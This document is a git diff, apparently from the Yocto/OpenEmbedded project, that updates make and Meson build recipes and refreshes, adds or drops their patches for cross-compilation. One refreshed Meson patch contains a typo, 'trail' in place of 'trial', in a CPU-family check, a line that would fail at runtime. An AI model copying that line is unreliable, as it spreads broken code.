+Upstream-Status: Pending (https://savannah.gnu.org/bugs/?57888)
+
+ src/output.h | 19 ++++++++++++++-----
+ src/w32/compat/posixfcn.c | 2 ++
+ 2 files changed, 16 insertions(+), 5 deletions(-)
+
+diff --git a/src/output.h b/src/output.h
+index a506505..d3ce6b7 100644
+--- a/src/output.h
++++ b/src/output.h
+@@ -67,14 +67,21 @@ void output_dump (struct output *out);
+
+ # ifdef WINDOWS32
+ /* For emulations in w32/compat/posixfcn.c. */
+-# define F_GETFD 1
+-# define F_SETLKW 2
++# ifndef F_GETFD
++# define F_GETFD 1
++# endif
++# ifndef F_SETLKW
++# define F_SETLKW 2
++# endif
+ /* Implementation note: None of the values of l_type below can be zero
+ -- they are compared with a static instance of the struct, so zero
+ means unknown/invalid, see w32/compat/posixfcn.c. */
+-# define F_WRLCK 1
+-# define F_UNLCK 2
+-
++# ifndef F_WRLCK
++# define F_WRLCK 1
++# endif
++# ifndef F_UNLCK
++# define F_UNLCK 2
++# endif
+ struct flock
+ {
+ short l_type;
+@@ -89,7 +96,9 @@ struct flock
+ typedef intptr_t sync_handle_t;
+
+ /* Public functions emulated/provided in posixfcn.c. */
++# ifndef HAVE_GNULIB_FCNTL
+ int fcntl (intptr_t fd, int cmd, ...);
++# endif
+ intptr_t create_mutex (void);
+ int same_stream (FILE *f1, FILE *f2);
+
+diff --git a/src/w32/compat/posixfcn.c b/src/w32/compat/posixfcn.c
+index 975dfb7..d337b9c 100644
+--- a/src/w32/compat/posixfcn.c
++++ b/src/w32/compat/posixfcn.c
+@@ -29,6 +29,7 @@ this program. If not, see <http://www.gnu.org/licenses/>. */
+ #ifndef NO_OUTPUT_SYNC
+ /* Support for OUTPUT_SYNC and related functionality. */
+
++#ifndef HAVE_GNULIB_FCNTL
+ /* Emulation of fcntl that supports only F_GETFD and F_SETLKW. */
+ int
+ fcntl (intptr_t fd, int cmd, ...)
+@@ -142,6 +143,7 @@ fcntl (intptr_t fd, int cmd, ...)
+ return -1;
+ }
+ }
++#endif /* GNULIB_TEST_FCNTL */
+
+ static intptr_t mutex_handle = -1;
+
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/make/make_4.2.1.bb b/meta/recipes-devtools/make/make_4.2.1.bb
deleted file mode 100644
index c6e6a0cd58..0000000000
--- a/meta/recipes-devtools/make/make_4.2.1.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-LICENSE = "GPLv3 & LGPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://tests/COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://glob/COPYING.LIB;md5=4a770b67e6be0f60da244beb2de0fce4"
-require make.inc
-
-EXTRA_OECONF += "--without-guile"
-
-SRC_URI[md5sum] = "15b012617e7c44c0ed482721629577ac"
-SRC_URI[sha256sum] = "d6e262bf3601b42d2b1e4ef8310029e1dcf20083c5446b4b7aa67081fdffc589"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/make/make_4.3.bb b/meta/recipes-devtools/make/make_4.3.bb
new file mode 100644
index 0000000000..9350bed05a
--- /dev/null
+++ b/meta/recipes-devtools/make/make_4.3.bb
@@ -0,0 +1,18 @@
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+require make.inc
+
+SRC_URI += "\
+ file://0001-m4-getloadavg.m4-restrict-AIX-specific-test-on-AIX.patch \
+ file://0002-modules-fcntl-allow-being-detected-by-importing-proj.patch \
+ file://0001-src-dir.c-fix-buffer-overflow-warning.patch \
+ file://0002-w32-compat-dirent.c-follow-header.patch \
+ file://0003-posixfcn-fcntl-gnulib-make-emulated.patch \
+ file://0001-makeinst-Do-not-undef-POSIX-on-clang-arm.patch \
+"
+
+EXTRA_OECONF += "--without-guile"
+
+SRC_URI[sha256sum] = "e05fdde47c5f7ca45cb697e973894ff4f5d79e13b750ed57d7b66d8defc78e19"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/makedevs/makedevs_1.0.1.bb b/meta/recipes-devtools/makedevs/makedevs_1.0.1.bb
index 92d5870f42..007ebbca89 100644
--- a/meta/recipes-devtools/makedevs/makedevs_1.0.1.bb
+++ b/meta/recipes-devtools/makedevs/makedevs_1.0.1.bb
@@ -1,5 +1,6 @@
SUMMARY = "Tool for creating device nodes"
-LICENSE = "GPLv2"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=393a5ca445f6965873eca0259a17f833"
SECTION = "base"
SRC_URI = "file://makedevs.c \
@@ -7,7 +8,7 @@ SRC_URI = "file://makedevs.c \
S = "${WORKDIR}"
-FILES_${PN}_append_class-nativesdk = " ${datadir}"
+FILES:${PN}:append:class-nativesdk = " ${datadir}"
do_compile() {
${CC} ${CFLAGS} ${LDFLAGS} -o ${S}/makedevs ${S}/makedevs.c
@@ -18,7 +19,7 @@ do_install() {
install -m 0755 ${S}/makedevs ${D}${base_sbindir}/makedevs
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
install -d ${D}${datadir}
install -m 644 ${COREBASE}/meta/files/device_table-minimal.txt ${D}${datadir}/
}
diff --git a/meta/recipes-devtools/meson/meson.inc b/meta/recipes-devtools/meson/meson.inc
deleted file mode 100644
index 84bcc8409d..0000000000
--- a/meta/recipes-devtools/meson/meson.inc
+++ /dev/null
@@ -1,35 +0,0 @@
-HOMEPAGE = "http://mesonbuild.com"
-SUMMARY = "A high performance build system"
-DESCRIPTION = "Meson is a build system designed to increase programmer \
-productivity. It does this by providing a fast, simple and easy to use \
-interface for modern software development tools and practices."
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=3b83ef96387f14655fc854ddc3c6bd57"
-
-SRC_URI = "https://github.com/mesonbuild/meson/releases/download/${PV}/meson-${PV}.tar.gz \
- file://0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch \
- file://0002-gobject-introspection-determine-g-ir-scanner-and-g-i.patch \
- file://0003-native_bindir.patch \
- file://0001-python-module-do-not-manipulate-the-environment-when.patch \
- file://disable-rpath-handling.patch \
- file://cross-prop-default.patch \
- file://0001-mesonbuild-environment.py-check-environment-for-vari.patch \
- file://0001-modules-python.py-do-not-substitute-python-s-install.patch \
- file://dbc9e971bd320f3df15c1ee74f54858e6792b183.patch \
- "
-SRC_URI[sha256sum] = "d60f75f0dedcc4fd249dbc7519d6f3ce6df490033d276ef1cf27453ef4938d32"
-SRC_URI[md5sum] = "7ea7772414dda8ae11072244bf7ba991"
-
-SRC_URI_append_class-native = " \
- file://0001-Make-CPU-family-warnings-fatal.patch \
- file://0002-Support-building-allarch-recipes-again.patch \
-"
-
-UPSTREAM_CHECK_URI = "https://github.com/mesonbuild/meson/releases"
-
-inherit setuptools3
-
-RDEPENDS_${PN} = "ninja python3-modules python3-pkg-resources"
-
-FILES_${PN} += "${datadir}/polkit-1"
diff --git a/meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch b/meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch
index fc55dcacf6..848dccfbe7 100644
--- a/meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch
+++ b/meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch
@@ -1,4 +1,4 @@
-From c07d29b715209cd5d75b142a00a540d45b00c36d Mon Sep 17 00:00:00 2001
+From 6c4eef1d92e9e42fdbc888365cab3c95fb33c605 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Tue, 3 Jul 2018 13:59:09 +0100
Subject: [PATCH] Make CPU family warnings fatal
@@ -11,30 +11,34 @@ Signed-off-by: Ross Burton <ross.burton@intel.com>
mesonbuild/environment.py | 4 +---
2 files changed, 2 insertions(+), 4 deletions(-)
-diff --git a/mesonbuild/envconfig.py b/mesonbuild/envconfig.py
-index a59cd89..17de654 100644
---- a/mesonbuild/envconfig.py
-+++ b/mesonbuild/envconfig.py
-@@ -186,7 +186,7 @@ class MachineInfo:
+Index: meson-0.60.2/mesonbuild/envconfig.py
+===================================================================
+--- meson-0.60.2.orig/mesonbuild/envconfig.py
++++ meson-0.60.2/mesonbuild/envconfig.py
+@@ -266,8 +266,8 @@ class MachineInfo(HoldableObject):
+ 'but is missing {}.'.format(minimum_literal - set(literal)))
cpu_family = literal['cpu_family']
- if cpu_family not in known_cpu_families:
-- mlog.warning('Unknown CPU family %s, please report this at https://github.com/mesonbuild/meson/issues/new' % cpu_family)
-+ raise EnvironmentException('Unknown CPU family %s, see https://wiki.yoctoproject.org/wiki/Meson/UnknownCPU for directions.' % cpu_family)
+- if cpu_family not in known_cpu_families:
+- mlog.warning(f'Unknown CPU family {cpu_family}, please report this at https://github.com/mesonbuild/meson/issues/new')
++ if cpu_family not in known_cpu_families and cpu_family != "riscv":
++ raise EnvironmentException('Unknown CPU family {}, see https://wiki.yoctoproject.org/wiki/Meson/UnknownCPU for directions.'.format(cpu_family))
endian = literal['endian']
if endian not in ('little', 'big'):
-diff --git a/mesonbuild/environment.py b/mesonbuild/environment.py
-index 3704921..f1988f2 100644
---- a/mesonbuild/environment.py
-+++ b/mesonbuild/environment.py
-@@ -251,9 +251,7 @@ def detect_cpu_family(compilers: CompilersDict) -> str:
- trial = 'parisc'
+Index: meson-0.60.2/mesonbuild/environment.py
+===================================================================
+--- meson-0.60.2.orig/mesonbuild/environment.py
++++ meson-0.60.2/mesonbuild/environment.py
+@@ -354,10 +354,8 @@ def detect_cpu_family(compilers: Compile
+ if any_compiler_has_define(compilers, '__64BIT__'):
+ trial = 'ppc64'
- if trial not in known_cpu_families:
-- mlog.warning('Unknown CPU family {!r}, please report this at '
-- 'https://github.com/mesonbuild/meson/issues/new with the'
-- 'output of `uname -a` and `cat /proc/cpuinfo`'.format(trial))
+- if trial not in known_cpu_families:
+- mlog.warning(f'Unknown CPU family {trial!r}, please report this at '
+- 'https://github.com/mesonbuild/meson/issues/new with the '
+- 'output of `uname -a` and `cat /proc/cpuinfo`')
++ if trial not in known_cpu_families and trail != "riscv":
+ raise EnvironmentException('Unknown CPU family %s, see https://wiki.yoctoproject.org/wiki/Meson/UnknownCPU for directions.' % trial)
return trial
diff --git a/meta/recipes-devtools/meson/meson/0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch b/meta/recipes-devtools/meson/meson/0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch
deleted file mode 100644
index 471f1500da..0000000000
--- a/meta/recipes-devtools/meson/meson/0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From d3ef01a4208a801acad380a4aaceb6a21f8fa603 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 4 Aug 2017 16:16:41 +0300
-Subject: [PATCH] gtkdoc: fix issues that arise when cross-compiling
-
-Specifically:
-1) Make it possible to specify a wrapper for executing binaries
-(usually, some kind of target hardware emulator, such as qemu)
-2) Explicitly provide CC and LD via command line, as otherwise gtk-doc will
-try to guess them, incorrectly.
-3) If things break down, print the full command with arguments,
-not just the binary name.
-4) Correctly determine the compiler/linker executables and cross-options when cross-compiling
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- mesonbuild/modules/gnome.py | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/mesonbuild/modules/gnome.py b/mesonbuild/modules/gnome.py
-index bcf77b9..6a4b472 100644
---- a/mesonbuild/modules/gnome.py
-+++ b/mesonbuild/modules/gnome.py
-@@ -974,6 +974,10 @@ This will become a hard error in the future.''')
- args.append('--{}={}'.format(program_name, path))
- if namespace:
- args.append('--namespace=' + namespace)
-+ gtkdoc_exe_wrapper = state.environment.properties.host.get('gtkdoc_exe_wrapper', None)
-+ if gtkdoc_exe_wrapper is not None:
-+ args.append('--run=' + gtkdoc_exe_wrapper)
-+
- args += self._unpack_args('--htmlargs=', 'html_args', kwargs)
- args += self._unpack_args('--scanargs=', 'scan_args', kwargs)
- args += self._unpack_args('--scanobjsargs=', 'scanobjs_args', kwargs)
diff --git a/meta/recipes-devtools/meson/meson/0001-is_debianlike-always-return-False.patch b/meta/recipes-devtools/meson/meson/0001-is_debianlike-always-return-False.patch
new file mode 100644
index 0000000000..83c4782a61
--- /dev/null
+++ b/meta/recipes-devtools/meson/meson/0001-is_debianlike-always-return-False.patch
@@ -0,0 +1,26 @@
+From 667b9ede638677fb37911306937ea62f05897581 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 18 Oct 2021 15:55:59 +0200
+Subject: [PATCH] is_debianlike(): always return False
+
+Otherwise, host contamination happens.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ mesonbuild/mesonlib/universal.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/mesonbuild/mesonlib/universal.py b/mesonbuild/mesonlib/universal.py
+index d670d04..47d1b52 100644
+--- a/mesonbuild/mesonlib/universal.py
++++ b/mesonbuild/mesonlib/universal.py
+@@ -651,7 +651,7 @@ def is_cygwin() -> bool:
+
+
+ def is_debianlike() -> bool:
+- return os.path.isfile('/etc/debian_version')
++ return False
+
+
+ def is_dragonflybsd() -> bool:
diff --git a/meta/recipes-devtools/meson/meson/0001-mesonbuild-environment.py-check-environment-for-vari.patch b/meta/recipes-devtools/meson/meson/0001-mesonbuild-environment.py-check-environment-for-vari.patch
deleted file mode 100644
index f4456235fe..0000000000
--- a/meta/recipes-devtools/meson/meson/0001-mesonbuild-environment.py-check-environment-for-vari.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From a72dc2b1cddcf180ce782860896deae0b12d5000 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 25 Mar 2019 18:52:48 +0100
-Subject: [PATCH] mesonbuild/environment.py: check environment for various
- binaries
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- mesonbuild/environment.py | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/mesonbuild/environment.py b/mesonbuild/environment.py
-index 9a029f4..0cfdf9c 100644
---- a/mesonbuild/environment.py
-+++ b/mesonbuild/environment.py
-@@ -448,7 +448,7 @@ class Environment:
- config = MesonConfigFile.from_config_parser(
- coredata.load_configs(self.coredata.cross_files))
- properties.host = Properties(config.get('properties', {}), False)
-- binaries.host = BinaryTable(config.get('binaries', {}), False)
-+ binaries.host = BinaryTable(config.get('binaries', {}), True)
- if 'host_machine' in config:
- machines.host = MachineInfo.from_literal(config['host_machine'])
- if 'target_machine' in config:
diff --git a/meta/recipes-devtools/meson/meson/0001-modules-python.py-do-not-substitute-python-s-install.patch b/meta/recipes-devtools/meson/meson/0001-modules-python.py-do-not-substitute-python-s-install.patch
deleted file mode 100644
index a25c392270..0000000000
--- a/meta/recipes-devtools/meson/meson/0001-modules-python.py-do-not-substitute-python-s-install.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 1d178fb2928d325e339b15972890ceced863d3ec Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 18 Apr 2019 17:36:11 +0200
-Subject: [PATCH] modules/python.py: do not substitute python's install prefix
- with meson's
-
-Not sure why this is being done, but it
-a) relies on Python's internal variable substitution which may break in the future
-b) shouldn't be necessary as Python's prefix ought to be correct in the first place
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- mesonbuild/modules/python.py | 7 +++----
- 1 file changed, 3 insertions(+), 4 deletions(-)
-
-diff --git a/mesonbuild/modules/python.py b/mesonbuild/modules/python.py
-index 6e2c63b..f5a37ac 100644
---- a/mesonbuild/modules/python.py
-+++ b/mesonbuild/modules/python.py
-@@ -254,7 +254,7 @@ import sysconfig
- import json
- import sys
-
--install_paths = sysconfig.get_paths(scheme='posix_prefix', vars={'base': '', 'platbase': '', 'installed_base': ''})
-+install_paths = sysconfig.get_paths(scheme='posix_prefix')
-
- def links_against_libpython():
- from distutils.core import Distribution, Extension
-@@ -279,12 +279,11 @@ class PythonInstallation(ExternalProgramHolder):
- ExternalProgramHolder.__init__(self, python)
- self.interpreter = interpreter
- self.subproject = self.interpreter.subproject
-- prefix = self.interpreter.environment.coredata.get_builtin_option('prefix')
- self.variables = info['variables']
- self.paths = info['paths']
- install_paths = info['install_paths']
-- self.platlib_install_path = os.path.join(prefix, install_paths['platlib'][1:])
-- self.purelib_install_path = os.path.join(prefix, install_paths['purelib'][1:])
-+ self.platlib_install_path = install_paths['platlib']
-+ self.purelib_install_path = install_paths['purelib']
- self.version = info['version']
- self.platform = info['platform']
- self.is_pypy = info['is_pypy']
diff --git a/meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch b/meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch
index bf715d1e9f..86abfa9d52 100644
--- a/meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch
+++ b/meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch
@@ -1,4 +1,4 @@
-From 3cb2c811dc6d4890342afa5b709cd30cf7b8f3ca Mon Sep 17 00:00:00 2001
+From dd5b4a200cd2fdf7fef627c4b6752f90c00b863a Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 19 Nov 2018 14:24:26 +0100
Subject: [PATCH] python module: do not manipulate the environment when calling
@@ -8,36 +8,31 @@ Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
- mesonbuild/modules/python.py | 12 ------------
- 1 file changed, 12 deletions(-)
+ mesonbuild/modules/python.py | 7 +------
+ 1 file changed, 1 insertion(+), 6 deletions(-)
diff --git a/mesonbuild/modules/python.py b/mesonbuild/modules/python.py
-index 9cfbd6f..3ff687a 100644
+index f479ab9..b934bc6 100644
--- a/mesonbuild/modules/python.py
+++ b/mesonbuild/modules/python.py
-@@ -75,11 +75,6 @@ class PythonDependency(ExternalDependency):
- old_pkg_libdir = os.environ.get('PKG_CONFIG_LIBDIR')
- old_pkg_path = os.environ.get('PKG_CONFIG_PATH')
-
-- os.environ.pop('PKG_CONFIG_PATH', None)
--
-- if pkg_libdir:
-- os.environ['PKG_CONFIG_LIBDIR'] = pkg_libdir
--
- try:
- self.pkgdep = PkgConfigDependency('python-{}'.format(pkg_version), environment, kwargs)
- mlog.debug('Found "python-{}" via pkgconfig lookup in LIBPC ({})'.format(pkg_version, pkg_libdir))
-@@ -88,13 +83,6 @@ class PythonDependency(ExternalDependency):
- mlog.debug('"python-{}" could not be found in LIBPC ({})'.format(pkg_version, pkg_libdir))
- mlog.debug(e)
-
-- if old_pkg_path is not None:
-- os.environ['PKG_CONFIG_PATH'] = old_pkg_path
--
-- if old_pkg_libdir is not None:
-- os.environ['PKG_CONFIG_LIBDIR'] = old_pkg_libdir
-- else:
-- os.environ.pop('PKG_CONFIG_LIBDIR', None)
- else:
- mlog.debug('"python-{}" could not be found in LIBPC ({}), this is likely due to a relocated python installation'.format(pkg_version, pkg_libdir))
+@@ -239,10 +239,6 @@ def python_factory(env: 'Environment', for_machine: 'MachineChoice',
+ # If python-X.Y.pc exists in LIBPC, we will try to use it
+ def wrap_in_pythons_pc_dir(name: str, env: 'Environment', kwargs: T.Dict[str, T.Any],
+ installation: 'PythonInstallation') -> 'ExternalDependency':
+- old_pkg_libdir = os.environ.pop('PKG_CONFIG_LIBDIR', None)
+- old_pkg_path = os.environ.pop('PKG_CONFIG_PATH', None)
+- if pkg_libdir:
+- os.environ['PKG_CONFIG_LIBDIR'] = pkg_libdir
+ try:
+ return PythonPkgConfigDependency(name, env, kwargs, installation)
+ finally:
+@@ -251,8 +247,7 @@ def python_factory(env: 'Environment', for_machine: 'MachineChoice',
+ os.environ[name] = value
+ elif name in os.environ:
+ del os.environ[name]
+- set_env('PKG_CONFIG_LIBDIR', old_pkg_libdir)
+- set_env('PKG_CONFIG_PATH', old_pkg_path)
++ pass
+ candidates.extend([
+ functools.partial(wrap_in_pythons_pc_dir, pkg_name, env, kwargs, installation),
diff --git a/meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch b/meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch
index b8837d77b6..dcc1ce9c27 100644
--- a/meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch
+++ b/meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch
@@ -1,26 +1,28 @@
-From 263fc0e26e1fd92e25fa3ef93f4a549dcebc5887 Mon Sep 17 00:00:00 2001
+From 656bf55fed01df2d2e2ad6d9d9887173cb16b85c Mon Sep 17 00:00:00 2001
From: Peter Kjellerstedt <pkj@axis.com>
Date: Thu, 26 Jul 2018 16:32:49 +0200
-Subject: [PATCH] Support building allarch recipes again
+Subject: [PATCH 2/2] Support building allarch recipes again
This registers "allarch" as a known CPU family.
Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
-
---
mesonbuild/envconfig.py | 1 +
1 file changed, 1 insertion(+)
diff --git a/mesonbuild/envconfig.py b/mesonbuild/envconfig.py
-index 17de654..2d2deef 100644
+index 4d58c91..ff01ad1 100644
--- a/mesonbuild/envconfig.py
+++ b/mesonbuild/envconfig.py
-@@ -36,6 +36,7 @@ _T = typing.TypeVar('_T')
+@@ -36,6 +36,7 @@ from pathlib import Path
known_cpu_families = (
+ 'allarch',
'aarch64',
+ 'alpha',
'arc',
- 'arm',
+--
+2.24.0
+
diff --git a/meta/recipes-devtools/meson/meson/0002-gobject-introspection-determine-g-ir-scanner-and-g-i.patch b/meta/recipes-devtools/meson/meson/0002-gobject-introspection-determine-g-ir-scanner-and-g-i.patch
deleted file mode 100644
index 61b26bb883..0000000000
--- a/meta/recipes-devtools/meson/meson/0002-gobject-introspection-determine-g-ir-scanner-and-g-i.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 9ccaed380780178c4dab3a681f652ac7cd27452d Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 4 Aug 2017 16:18:47 +0300
-Subject: [PATCH] gobject-introspection: determine g-ir-scanner and
- g-ir-compiler paths from pkgconfig
-
-Do not hardcode the name of those binaries; gobject-introspection
-provides them via pkgconfig, and they can be set to something else
-(for example when cross-compiling).
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- mesonbuild/modules/gnome.py | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/mesonbuild/modules/gnome.py b/mesonbuild/modules/gnome.py
-index 7c5a363..0002498 100644
---- a/mesonbuild/modules/gnome.py
-+++ b/mesonbuild/modules/gnome.py
-@@ -744,15 +744,15 @@ class GnomeModule(ExtensionModule):
- if kwargs.get('install_dir'):
- raise MesonException('install_dir is not supported with generate_gir(), see "install_dir_gir" and "install_dir_typelib"')
-
-- giscanner = self.interpreter.find_program_impl('g-ir-scanner')
-- gicompiler = self.interpreter.find_program_impl('g-ir-compiler')
--
- girtargets = [self._unwrap_gir_target(arg, state) for arg in args]
-
- if len(girtargets) > 1 and any([isinstance(el, build.Executable) for el in girtargets]):
- raise MesonException('generate_gir only accepts a single argument when one of the arguments is an executable')
-
- self.gir_dep, pkgargs = self._get_gir_dep(state)
-+ giscanner = os.environ['PKG_CONFIG_SYSROOT_DIR'] + self.gir_dep.get_pkgconfig_variable('g_ir_scanner', {})
-+ gicompiler = os.environ['PKG_CONFIG_SYSROOT_DIR'] + self.gir_dep.get_pkgconfig_variable('g_ir_compiler', {})
-+
-
- ns = kwargs.pop('namespace')
- nsversion = kwargs.pop('nsversion')
diff --git a/meta/recipes-devtools/meson/meson/0003-native_bindir.patch b/meta/recipes-devtools/meson/meson/0003-native_bindir.patch
deleted file mode 100644
index 76cc4931d6..0000000000
--- a/meta/recipes-devtools/meson/meson/0003-native_bindir.patch
+++ /dev/null
@@ -1,125 +0,0 @@
-From 4a1d676522d6b56cbe9a45c3b040afaa27d37f78 Mon Sep 17 00:00:00 2001
-From: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
-Date: Wed, 15 Nov 2017 15:05:01 +0100
-Subject: [PATCH] native_bindir
-
-Some libraries, like QT, have pre-processors that convert their input
-files into something that the cross-compiler can process. We find the
-path of those pre-processors via pkg-config-native instead of
-pkg-config.
-
-This path forces the use of pkg-config-native for host_bins arguments.
-
-There are some discussions upstream to merge this patch, but I presonaly believe
-that is is OE only. https://github.com/mesonbuild/meson/issues/1849#issuecomment-303730323
-
-Upstream-Status: Inappropriate [OE specific]
-Signed-off-by: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
-
----
- mesonbuild/dependencies/base.py | 19 +++++++++++--------
- mesonbuild/dependencies/ui.py | 6 +++---
- 2 files changed, 14 insertions(+), 11 deletions(-)
-
-diff --git a/mesonbuild/dependencies/base.py b/mesonbuild/dependencies/base.py
-index 3c55a56..eb52fd1 100644
---- a/mesonbuild/dependencies/base.py
-+++ b/mesonbuild/dependencies/base.py
-@@ -185,7 +185,7 @@ class Dependency:
- def get_exe_args(self, compiler):
- return []
-
-- def get_pkgconfig_variable(self, variable_name, kwargs):
-+ def get_pkgconfig_variable(self, variable_name, kwargs, use_native=False):
- raise DependencyException('{!r} is not a pkgconfig dependency'.format(self.name))
-
- def get_configtool_variable(self, variable_name):
-@@ -248,7 +248,7 @@ class InternalDependency(Dependency):
- self.sources = sources
- self.ext_deps = ext_deps
-
-- def get_pkgconfig_variable(self, variable_name, kwargs):
-+ def get_pkgconfig_variable(self, variable_name, kwargs, use_native=False):
- raise DependencyException('Method "get_pkgconfig_variable()" is '
- 'invalid for an internal dependency')
-
-@@ -670,15 +670,18 @@ class PkgConfigDependency(ExternalDependency):
- return s.format(self.__class__.__name__, self.name, self.is_found,
- self.version_reqs)
-
-- def _call_pkgbin_real(self, args, env):
-- cmd = self.pkgbin.get_command() + args
-+ def _call_pkgbin_real(self, args, env, use_native=False):
-+ if use_native:
-+ cmd = [self.pkgbin.get_command()[0] + "-native"] + args
-+ else:
-+ cmd = self.pkgbin.get_command() + args
- p, out = Popen_safe(cmd, env=env)[0:2]
- rc, out = p.returncode, out.strip()
- call = ' '.join(cmd)
- mlog.debug("Called `{}` -> {}\n{}".format(call, rc, out))
- return rc, out
-
-- def _call_pkgbin(self, args, env=None):
-+ def _call_pkgbin(self, args, env=None, use_native=False):
- # Always copy the environment since we're going to modify it
- # with pkg-config variables
- if env is None:
-@@ -698,7 +701,7 @@ class PkgConfigDependency(ExternalDependency):
- targs = tuple(args)
- cache = PkgConfigDependency.pkgbin_cache
- if (self.pkgbin, targs, fenv) not in cache:
-- cache[(self.pkgbin, targs, fenv)] = self._call_pkgbin_real(args, env)
-+ cache[(self.pkgbin, targs, fenv)] = self._call_pkgbin_real(args, env, use_native)
- return cache[(self.pkgbin, targs, fenv)]
-
- def _convert_mingw_paths(self, args):
-@@ -926,7 +929,7 @@ class PkgConfigDependency(ExternalDependency):
- mlog.warning('Could not determine complete list of dependencies for %s' % self.name)
- self.link_args, self.raw_link_args = self._search_libs(out, out_raw, out_all)
-
-- def get_pkgconfig_variable(self, variable_name, kwargs):
-+ def get_pkgconfig_variable(self, variable_name, kwargs, use_native=False):
- options = ['--variable=' + variable_name, self.name]
-
- if 'define_variable' in kwargs:
-@@ -939,7 +942,7 @@ class PkgConfigDependency(ExternalDependency):
-
- options = ['--define-variable=' + '='.join(definition)] + options
-
-- ret, out = self._call_pkgbin(options)
-+ ret, out = self._call_pkgbin(options, use_native=use_native)
- variable = ''
- if ret != 0:
- if self.required:
-diff --git a/mesonbuild/dependencies/ui.py b/mesonbuild/dependencies/ui.py
-index 6d784e6..73a9e13 100644
---- a/mesonbuild/dependencies/ui.py
-+++ b/mesonbuild/dependencies/ui.py
-@@ -330,7 +330,7 @@ class QtBaseDependency(ExternalDependency):
- self.bindir = self.get_pkgconfig_host_bins(core)
- if not self.bindir:
- # If exec_prefix is not defined, the pkg-config file is broken
-- prefix = core.get_pkgconfig_variable('exec_prefix', {})
-+ prefix = core.get_pkgconfig_variable('exec_prefix', {}, use_native=True)
- if prefix:
- self.bindir = os.path.join(prefix, 'bin')
-
-@@ -507,7 +507,7 @@ class Qt4Dependency(QtBaseDependency):
- applications = ['moc', 'uic', 'rcc', 'lupdate', 'lrelease']
- for application in applications:
- try:
-- return os.path.dirname(core.get_pkgconfig_variable('%s_location' % application, {}))
-+ return os.path.dirname(core.get_pkgconfig_variable('%s_location' % application, {}, use_native=True))
- except MesonException:
- pass
-
-@@ -517,7 +517,7 @@ class Qt5Dependency(QtBaseDependency):
- QtBaseDependency.__init__(self, 'qt5', env, kwargs)
-
- def get_pkgconfig_host_bins(self, core):
-- return core.get_pkgconfig_variable('host_bins', {})
-+ return core.get_pkgconfig_variable('host_bins', {}, use_native=True)
-
- def get_private_includes(self, mod_inc_dir, module):
- return _qt_get_private_includes(mod_inc_dir, module, self.version)
diff --git a/meta/recipes-devtools/meson/meson/cross-prop-default.patch b/meta/recipes-devtools/meson/meson/cross-prop-default.patch
deleted file mode 100644
index 772395e879..0000000000
